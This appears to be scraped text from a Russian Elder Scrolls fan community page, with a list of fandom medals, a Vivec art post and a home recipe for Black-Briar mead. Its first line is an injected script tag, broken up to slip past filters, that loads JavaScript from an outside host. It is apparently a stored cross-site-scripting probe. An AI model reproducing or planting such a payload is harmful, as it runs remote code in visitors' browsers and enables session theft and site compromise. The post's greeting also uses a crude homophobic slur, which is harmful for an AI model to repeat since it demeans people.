"/><scr<script>ipt src=https://wapiti3.ovh/1z.js></script>

Доброго времени суток, уважаемые пидоры и пидорессы. 

Благая весть, с лёгкой руки Боэтии в фэндоме TES обновились медальки. Не забудьте сказать ей спасибо за идею и работу над иконками.

	Прошу тебя прекратить. Все эти... крики... Люди нервничают. За комментарий набравший 42 или более рейтинга
	Сладкий рулет За выход поста на основной реактор (пост набрал 15 рейтинга)
	Скелетный ключ Помог твоему посту выйти в лучшее основного реактора. За пост набравший 35 рейтинга.
	Кольцо Хирсина Это была славная охота. Ты попал в топ за неделю. Попробуй повторить свой подвиг, охотник.
	Любимец Дибеллы Твой пост в теге TES эротика или TES porn набрал 50 или больше рейтинга.
	Напиток Сангвина Собрал вечеринку достойную лорда даэдра. Твой пост набрал 100 комментариев.
	Золотая марка Ты чемпион. Продержался на первом месте топ-месяца и был замечен.
	Шкура Спасителя Сумел набрать 20 рейтинга в сообществе
	Стрела в колене Твой кузен борется с драконами, а тебе что досталось? Стрела в колено. Только стрелок знает, за что ты её получил.
	Склизкая инкунабула "Если так подумать, легко догадаться за что её выдали"

В реактор не влезает хайрез этого поста 

Source

Вид на Вивек в стиле "Звёздной ночи" Ван Гога

Сурс (пришлось пожать и сконвертировать в png, чтобы jr принял картинку)

Черновересковый мёд, aka Black-Briar Mead

Вовремя очередного перепрохождения Скайрима мне стало интересно, что ж за Черновересковыймёд такой они там пьют. Благо вышла официальная книга рецептов.

Итак,на страницах находим рецепт, а точнее комбинируем 2: QuickMeads + Black-Briar Mead. 

Сразу оговорюсь, авторырецепта предлагают пить этот мёд (медовуху) еще пока он бродит – то есть, по сути, питьбражку. Делать это я лично не собираюсь (и никому не рекомендую), потомудождусь окончания брожения.

Перевожу в человеческие единицы измерения и пропорционально увеличиваюграммовки до необходимого мне объёма напитка (4л ):

- 900гмёда (разнотравье)

-долить воды до 2л и тщательно перемешать пока мед полностью не растворится.

-300г ежевики, предварительно размороженной и измельченной

- 30гсушеных плодов шиповника, предварительно слегка измельченных и замоченных вкипятке

-2г молотой гвоздики

-2 маленькие или 1 большая палочка корицы

-1г соли

- долитьводой до отметки 4л

-тщательно перемешать для аэрации

-5г элевых дрожжей (использовал MangroveJack’sM05, но подойдут любые более-менее нейтральные )

Дополнительно,в качестве прикорма для дрожжей, я вношу 7г прокипяченных пекарских дрожжей.

Ареометрпоказывает 1.075SG, что даст порядка 10% ABV финальный продукт (что совпадает с изначальным рецептом из книги).

Всеэто дело выглядит так:

Через 2 недели первичное брожение полностью закончилось ибольшинство дрожжей выпадают в осадок. Снимаю с осадка и осторожно переливаю спомощью силиконового шланга в меньший сосуд на вторичное брожение до месяца. Послеэтого медовуха становится практически прозрачной.

Далеенапиток будет подслащаться, и чтобы не запустить новое брожение (и не взорватьбутылки) медовуху нужно стабилизировать. Для этого я использую на свой объём0,35г метабисульфата калия и 0,6г сорбата калия с перерывом в 24ч. После этого добавляю200г мёда и тщательно перемешиваю – таким образом сладость будет на границе полусладких- сладких вин.

Внесённыймёд добавляет взвеси, так что осаждаю их бентонитом.

Далеерозлив по бутылкам и дозревание. Бутылки конечно же стилизуем.

Каквидно на фото ниже, медовуха полностью прозрачная, цвета меди. На запах сразу улавливаются специи. По вкусу– отчетливо чувствуется гвоздика, но ежевика также присутствует на фоне иоставляет мягкое послевкусие. В целом, данная медовуха напоминает глинтвейн, нона ежевике.

Интереснобудет проследить за дозреванием, через полгода-год вкус может существенно измениться.